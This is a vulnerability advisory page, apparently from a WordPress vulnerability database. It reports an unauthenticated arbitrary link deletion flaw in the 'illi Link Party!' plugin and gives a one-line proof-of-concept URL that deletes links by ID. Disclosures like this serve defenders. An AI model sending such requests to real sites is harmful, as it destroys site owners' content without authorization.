Lucene search
K
Database
Vendors
Products
Years
CVSS
Scanner
Agent Scanning
API Scanning
Manual Audit
Perimeter Scanner
Scanning
Projects
Email
Webhook
Plugins
Resources
Documents
Blog
Glossary
FAQ
Pricing
Contacts
About Us
Partners
Branding Guideline
wpvulndbBob MatyasWPVDB-ID:797692CE-F355-4D4A-AF01-4BD9ABC60A34
HistoryJan 23, 2024 - 12:00 a.m.

illi Link Party! <= 1.0 - Unauthenticated Arbitrary Link Deletion

2024-01-2300:00:00
Bob Matyas
wpscan.com
7
access controls
unauthenticated
deletion
poc
vulnerability
illi link party

9.4 High

AI Score

Confidence

High

JSON

Description The plugin lacks proper access controls, allowing unauthenticated visitors to delete links.

PoC

http://example.com/?page=illi3/includes/functions.php&amp;action;=delete_submission&amp;id;=INSERT_ID Replace “INSERT_ID” with an ID of a link and hit enter. The link will be deleted.

Related

wpexploit 1
wordfence 1
wpexploit
wpexploit
illi Link Party! <= 1.0 - Unauthenticated Arbitrary Link Deletion
2024-01-23 00:00:00
wordfence
wordfence
Wordfence Intelligence Weekly WordPress Vulnerability Report (January 22, 2024 to January 28, 2024)
2024-02-01 15:49:51

9.4 High

AI Score

Confidence

High

JSON
Related for WPVDB-ID:797692CE-F355-4D4A-AF01-4BD9ABC60A34
wpexploit1wordfence1